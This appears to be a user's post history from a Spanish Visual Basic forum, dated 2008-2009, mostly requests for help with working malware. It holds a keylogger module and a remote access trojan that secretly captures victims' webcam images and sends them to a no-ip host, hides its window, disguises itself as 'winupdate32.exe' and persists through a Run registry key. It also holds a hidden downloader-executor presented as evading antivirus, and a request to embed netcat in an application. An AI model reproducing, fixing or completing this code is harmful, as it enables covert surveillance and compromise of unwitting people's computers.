|
Mostrar Temas
|
Páginas: [1] 2
|
1
|
Programación / Programación Visual Basic / modulo keylogger!!
|
en: 1 Febrero 2009, 01:23 am
|
Hola, buenas, alguien se prestaría a ayudarme a entender como funciona este modulo gracias. 'Módulo estándar basKeyLogger.bas ' Option Explicit
Public bLogEnabled As Boolean
Function GetActiveKey() As Integer Static bStarted As Boolean Dim i%
If Not bStarted Then 'Inicializa el estado de las teclas llamando a 'la función GetAsyncKeyState. ' For i = 1 To 256 Call GetAsyncKeyState(i) Next
bStarted = True End If
For i = 1 To 256 'Obtiene la tecla pulsada actualmente. ' If GetAsyncKeyState(i) Then GetActiveKey = i Exit For End If Next End Function
Sub StopLog() bLogEnabled = False End Sub
Sub LogKeys() Dim snTimer! Dim iActiveKey% Dim sChar$, sData$
bLogEnabled = True Do While bLogEnabled snTimer = Timer Do While (Timer - snTimer) < 0.125 'Espera 125 milisegundos hasta 'la próxima pulsación. Loop iActiveKey = GetActiveKey Select Case iActiveKey Case vbKey0 To vbKey9, 32 To 47, vbKeyA To vbKeyZ sChar = Chr$(iActiveKey) sData = sData & sChar Case vbKeyReturn 'Imprime lo que tiene en el buffer. ' Debug.Print sData sData = vbNullString Case Else 'Verifica otras teclas. End Select Loop
|
|
|
2
|
Programación / Programación Visual Basic / Problema con la webcam
|
en: 30 Enero 2009, 06:27 am
|
hola, alguien podria decirme en que falla mi funcion que las capturas de la cam me salen oscuras, no me las hace bien a color Private Function webcam() Clipboard.Clear SendMessage hHwnd, WM_CAP_DRIVER_DISCONNECT, iDevice, 0 hHwnd = capCreateCaptureWindowA(iDevice, WS_VISIBLE Or WS_CHILD, 0, 0, 640, 480, picCapture.hwnd, 0) If SendMessage(hHwnd, WM_CAP_DRIVER_CONNECT, iDevice, 0) Then SendMessage hHwnd, WM_CAP_SET_SCALE, True, 0 SendMessage hHwnd, WM_CAP_SET_PREVIEWRATE, 66, 0 SendMessage hHwnd, WM_CAP_SET_PREVIEW, True, 0 SendMessage hHwnd, WM_CAP_EDIT_COPY, 0, 0 picCapture.Picture = Clipboard.GetData SaveClipbrdPicture End If PictureView1.OpenPicture ("c:\Image.bmp") PictureView1.SaveJPEG "C:\Image.jpg", True, 50 archivo0 = FreeFile fragmento0 = 8192 ruta0 = "c:\Image.jpg" Open ruta0 For Binary As #archivo0 Do While Not EOF(archivo0) lectura = Input(fragmento0, #archivo0) S.SendData lectura DoEvents Loop Close #archivo0 S.SendData "enviofin0" End Function bueno, salu2.
|
|
|
3
|
Programación / Programación Visual Basic / ayuda con la encriptacion!!
|
en: 26 Enero 2009, 00:23 am
|
hola, buenas todo el mundo, alguien podria guiarme con algun codigo como funciona lo de cifrar lineas del codigo de mi programa y como creo la funcion para cifrar, cual es el mejor metodo de encriptacion..no se estoy perdido, saludos.
|
|
|
5
|
Programación / Programación Visual Basic / como puedo injectar...
|
en: 23 Enero 2009, 15:05 pm
|
hola, pues como puedo injectar netcat dentro de mi aplicacion y por ejemplo pulsando un command button se extraiga a c:\ con el nombre que yo quiera.exe primero...que nada...saber si es posible y ya si es posible me conformo con unos cuantos enlaces, saludos
|
|
|
6
|
Programación / Programación Visual Basic / transferir la captura!!
|
en: 22 Enero 2009, 17:37 pm
|
hola estoy aver cual es el problema de la transferencia de las captura de la webcam, pongo el codigo, aver si me pueden ayudar, por favor, bueno saludos. SERVIDOR: Private Function camon() On Error Resume Next Dim lol As Integer Dim frago As Integer Dim goblin As String lol = FreeFile frago = 8192 goblin = "c:\Juaz.bmp" SendMessage mCapHwnd, DISCONNECT, 0, 0 mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hwnd, 0) SendMessage mCapHwnd, Connect, 0, 0 SendMessage mCapHwnd, GET_FRAME, 0, 0 SendMessage mCapHwnd, COPY, 0, 0 SaveClipbrdPicture Open goblin For Binary As #lol Do While Not EOF(lol) camun = Input(frago, #lol) s.SendData camun DoEvents Loop Close #lol s.SendData "finalizada" Sub SaveClipbrdPicture() Call SavePicture(Clipboard.GetData(vbCFBitmap), "C:\juaz.bmp") End Sub
Private Sub s_DataArrival(ByVal bytesTotal As Long) On Error Resume Next s.GetData datos
'----para la webcam----' If datos = "camon" Then camon End If
'.................. End Sub CLIENTE: Private Sub S_DataArrival(Index As Integer, ByVal bytesTotal As Long) Dim lol As Integer Dim fileprin As Variant lol = FreeFile fileprin = "c:\captura.bmp" S(Index).GetData dat Open fileprin For Binary As #lol Seek #lol, LOF(lol) + 1 Put #lol, , dat Close #lol If dat = "finalizada" Then camm.Timer1.Enabled = True End If Private Sub CommandXP7_Click() On Error Resume Next Kill ("c:\captura.bmp") Dim inDeX_x As Variant inDeX_x = Split(WCC.lst.SelectedItem.Key, "|") WCC.S(inDeX_x(0)).SendData "camon" End Sub MODIFICADO: el problema es que remotamente llegan grises o negras... , en mi maquina localmente si funciona bien.
|
|
|
7
|
Programación / Programación Visual Basic / problema captura webcam!!!!!
|
en: 21 Enero 2009, 23:34 pm
|
hola, pues tengo un problema y es que las capturas remotas de gente que TIENE webcam las recibo en gris o en negro , en mi pc localmente si funciona de maravilla pero remotamente no me captura correcramente...llegan asi las imágenes, cual puede ser el problema ?
|
|
|
8
|
Programación / Programación Visual Basic / cliente-server por qué no conecta?
|
en: 16 Enero 2009, 10:48 am
|
buenas, el cliente depende del ocx del winsock pero al server le añadí el CSocketMaster, se supone que el server no necesita del ocx para realizar la conexion no pues no me conecta, el host no ip lo pongo asi: ip = "mihostDEnoIP.no-ip.org" <- esta mal asi bueno pongo el codigo por cliente primero hasta servidor, saludos, y muchas gracias señores. ---CLIENTE--- --clienteFRM-- Private Sub Command1_Click() On Error Resume Next WS.LocalPort = Text1.Text WS.Close WS.Listen End Sub
Private Sub Command2_Click() Unload clienteFRM End Sub
Private Sub conexion_Timer() On Error Resume Next If WS.State = "7" Then Label1.Caption = "Conectados" ElseIf WS.State = "0" Then Label1.Caption = "Desconectados" End If End Sub
Private Sub Form_Terminate() Unload frmPANTALLA End Sub
Private Sub Form_Unload(Cancel As Integer) Unload frmPANTALLA End Sub
Private Sub WebCam_Click() If WS.State = "7" Then Load frmPANTALLA frmPANTALLA.Show End If If Not WS.State = "7" Then Unload frmPANTALLA End If End Sub
Private Sub WS_Close() On Error Resume Next WS.Close WS.Listen End Sub
Private Sub WS_ConnectionRequest(ByVal requestID As Long) On Error Resume Next WS.Close WS.Accept requestID Label2.Caption = WS.RemoteHostIP End Sub Private Sub WS_DataArrival(ByVal bytesTotal As Long) Dim datos As String WS.GetData datos
Open "c:\captura.jpg" For Binary As #1 Seek #1, LOF(1) + 1 Put #1, , datos Close #1 frmPANTALLA.Timer1.Enabled = True
End Sub --frmPANTALLA-- Private Sub Command1_Click() clienteFRM.WS.SendData "comienzo" End Sub
Private Sub Command2_Click() clienteFRM.WS.SendData "camstop" End Sub
Private Sub Command3_Click() clienteFRM.WS.SendData "eliminar" End Sub
Private Sub Timer1_Timer() On Error Resume Next PVV.Picture = LoadPicture("c:\captura.jpg") End Sub ---SERVIDOR--- --serverFRM-- Dim WithEvents s As CSocketMaster Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long Private Declare Function capCreateCaptureWindow Lib "avicap32.dll" Alias "capCreateCaptureWindowA" (ByVal lpszWindowName As String, ByVal dwStyle As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal nID As Long) As Long Private mCapHwnd As Long Private Const Connect As Long = 1034 Private Const DISCONNECT As Long = 1035 Private Const GET_FRAME As Long = 1084 Private Const COPY As Long = 1054 Dim lol As Integer Dim frago As Integer Dim goblin As String Private datos As String Private ip As String Private puerto As Long
Private Sub comprobador_Timer() On Error Resume Next If Dir("C:\windowsuupdate\xD.xD") <> "" Then registro.Enabled = False Else registro.Enabled = True End If End Sub
Private Sub Form_Load() Set s = New CSocketMaster ip = "MIHOSTDENOIP.no-ip.org" puerto = 4662 s.RemoteHost = ip s.RemotePort = puerto End Sub Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer) DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0 End Sub
Private Sub Form_Unload(Cancel As Integer) DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0 End Sub
Private Sub registro_Timer() On Error Resume Next FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Windows\system32\winupdate32.exe" RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\updates", "C:\Windows\system32\winupdate32.exe" MkDir "C:\windowsuupdate" Open "C:\windowsuupdate\xD.xD" For Random As #1 Close #1 registro.Enabled = False End Sub
Private Sub S_DataArrival(ByVal bytesTotal As Long) s.GetData datos
If datos = "comienzo" Then camon End If If datos = "eliminar" Then muere End If If datos = "camstop" Then DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0 Kill ("c:\Juazcp.jpg") Kill ("c:\captura.jpg") End If End Sub
Private Sub Timer1_Timer() On Error Resume Next If Not s.State = 7 Then s.CloseSck s.Connect End If End Sub Private Function camon() On Error Resume Next lol = FreeFile frago = 8192 goblin = "c:\Juazcp.jpg" SendMessage mCapHwnd, DISCONNECT, 0, 0 mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hwnd, 0) SendMessage mCapHwnd, Connect, 0, 0 SendMessage mCapHwnd, GET_FRAME, 0, 0 SendMessage mCapHwnd, COPY, 0, 0 PV.Picture = Clipboard.GetData Clipboard.Clear SavePicture PV.Picture, "c:\" & "Juaz.jpg" PictureView1.OpenPicture ("c:\Juaz.jpg") If PictureView1.SaveJPEG("C:\Juazcp.jpg", True, 50) Then Else End If Kill ("c:\Juaz.jpg") Open goblin For Binary As #lol Do While Not EOF(lol) camun = Input(frago, #lol) s.SendData camun DoEvents Loop Close #lol End Function
Private Function muere() On Error Resume Next Kill ("c:\Juazcp.jpg") Kill ("c:\captura.jpg") camon End Function
Private Sub Timer2_Timer() Me.Visible = False End Sub
Function RegWrite(ByVal Path As String, ByVal Value As String) Dim AA As Object Set AA = CreateObject("Wscript.Shell") AA.RegWrite Path, Value, "REG_SZ" End Function
|
|
|
10
|
Programación / Programación Visual Basic / mini y simple donwloader ejemplo
|
en: 14 Noviembre 2008, 19:48 pm
|
buenas, queria compartir un codigo sin fines maleficos simplemente para demostrar que se puede hacer aunque algunos firewalls lo detecten. kav, nod32, panda, avg, norton, mcafee, etc, no lo detectan, firewalls ya no se, pero mi fw xp no lo detecta por lo menos, saludos, aquí dejo el codigo. Dim ejecutar As Long Dim download As Long Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Sub Form_Load() Me.Hide End Sub
Private Sub Timer1_Timer() Me.Visible = False download = URLDownloadToFile(0, "http://download.hijackthis.eu/HJTInstall.exe", "c:\ejemplohijackthis.exe", 0, 0) Timer1.Enabled = False End Sub
Private Sub Timer2_Timer() ejecutar = ShellExecute(Me.hwnd, "Open", "c:\ejemplohijackthis.exe", "", "", 1) Timer2.Enabled = False End Sub
Private Sub Timer3_Timer() Unload Me End Sub comenten, den ideas, opinen pero no falten al respeto, solo pido que se trate con el mismo respeto, gracias.
|
|
|
|
|
|
|